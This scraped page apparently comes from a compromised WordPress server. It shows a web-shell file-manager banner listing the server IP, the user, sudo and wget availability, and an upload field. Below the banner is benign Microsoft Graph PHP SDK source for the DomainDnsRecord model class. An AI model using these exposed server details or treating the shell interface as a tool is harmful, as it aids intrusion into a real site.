Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /proc/thread-self/cwd/vendor/microsoft/microsoft-graph/src/Model/ |
Upload File : |
<?php
/**
* Copyright (c) Microsoft Corporation. All Rights Reserved. Licensed under the MIT License. See License in the project root for license information.
*
* DomainDnsRecord File
* PHP version 7
*
* @category Library
* @package Microsoft.Graph
* @copyright (c) Microsoft Corporation. All rights reserved.
* @license https://opensource.org/licenses/MIT MIT License
* @link https://graph.microsoft.com
*/
namespace Microsoft\Graph\Model;
/**
* DomainDnsRecord class
*
* @category Model
* @package Microsoft.Graph
* @copyright (c) Microsoft Corporation. All rights reserved.
* @license https://opensource.org/licenses/MIT MIT License
* @link https://graph.microsoft.com
*/
class DomainDnsRecord extends Entity
{
/**
* Gets the isOptional
* If false, this record must be configured by the customer at the DNS host for Microsoft Online Services to operate correctly with the domain.
*
* @return bool|null The isOptional
*/
public function getIsOptional()
{
if (array_key_exists("isOptional", $this->_propDict)) {
return $this->_propDict["isOptional"];
} else {
return null;
}
}
/**
* Sets the isOptional
* If false, this record must be configured by the customer at the DNS host for Microsoft Online Services to operate correctly with the domain.
*
* @param bool $val The isOptional
*
* @return DomainDnsRecord
*/
public function setIsOptional($val)
{
$this->_propDict["isOptional"] = boolval($val);
return $this;
}
/**
* Gets the label
* Value used when configuring the name of the DNS record at the DNS host.
*
* @return string|null The label
*/
public function getLabel()
{
if (array_key_exists("label", $this->_propDict)) {
return $this->_propDict["label"];
} else {
return null;
}
}
/**
* Sets the label
* Value used when configuring the name of the DNS record at the DNS host.
*
* @param string $val The label
*
* @return DomainDnsRecord
*/
public function setLabel($val)
{
$this->_propDict["label"] = $val;
return $this;
}
/**
* Gets the recordType
* Indicates what type of DNS record this entity represents.The value can be one of the following: CName, Mx, Srv, Txt.
*
* @return string|null The recordType
*/
public function getRecordType()
{
if (array_key_exists("recordType", $this->_propDict)) {
return $this->_propDict["recordType"];
} else {
return null;
}
}
/**
* Sets the recordType
* Indicates what type of DNS record this entity represents.The value can be one of the following: CName, Mx, Srv, Txt.
*
* @param string $val The recordType
*
* @return DomainDnsRecord
*/
public function setRecordType($val)
{
$this->_propDict["recordType"] = $val;
return $this;
}
/**
* Gets the supportedService
* Microsoft Online Service or feature that has a dependency on this DNS record.Can be one of the following values: null, Email, Sharepoint, EmailInternalRelayOnly, OfficeCommunicationsOnline, SharePointDefaultDomain, FullRedelegation, SharePointPublic, OrgIdAuthentication, Yammer, Intune.
*
* @return string|null The supportedService
*/
public function getSupportedService()
{
if (array_key_exists("supportedService", $this->_propDict)) {
return $this->_propDict["supportedService"];
} else {
return null;
}
}
/**
* Sets the supportedService
* Microsoft Online Service or feature that has a dependency on this DNS record.Can be one of the following values: null, Email, Sharepoint, EmailInternalRelayOnly, OfficeCommunicationsOnline, SharePointDefaultDomain, FullRedelegation, SharePointPublic, OrgIdAuthentication, Yammer, Intune.
*
* @param string $val The supportedService
*
* @return DomainDnsRecord
*/
public function setSupportedService($val)
{
$this->_propDict["supportedService"] = $val;
return $this;
}
/**
* Gets the ttl
* Value to use when configuring the time-to-live (ttl) property of the DNS record at the DNS host. Not nullable.
*
* @return int|null The ttl
*/
public function getTtl()
{
if (array_key_exists("ttl", $this->_propDict)) {
return $this->_propDict["ttl"];
} else {
return null;
}
}
/**
* Sets the ttl
* Value to use when configuring the time-to-live (ttl) property of the DNS record at the DNS host. Not nullable.
*
* @param int $val The ttl
*
* @return DomainDnsRecord
*/
public function setTtl($val)
{
$this->_propDict["ttl"] = intval($val);
return $this;
}
}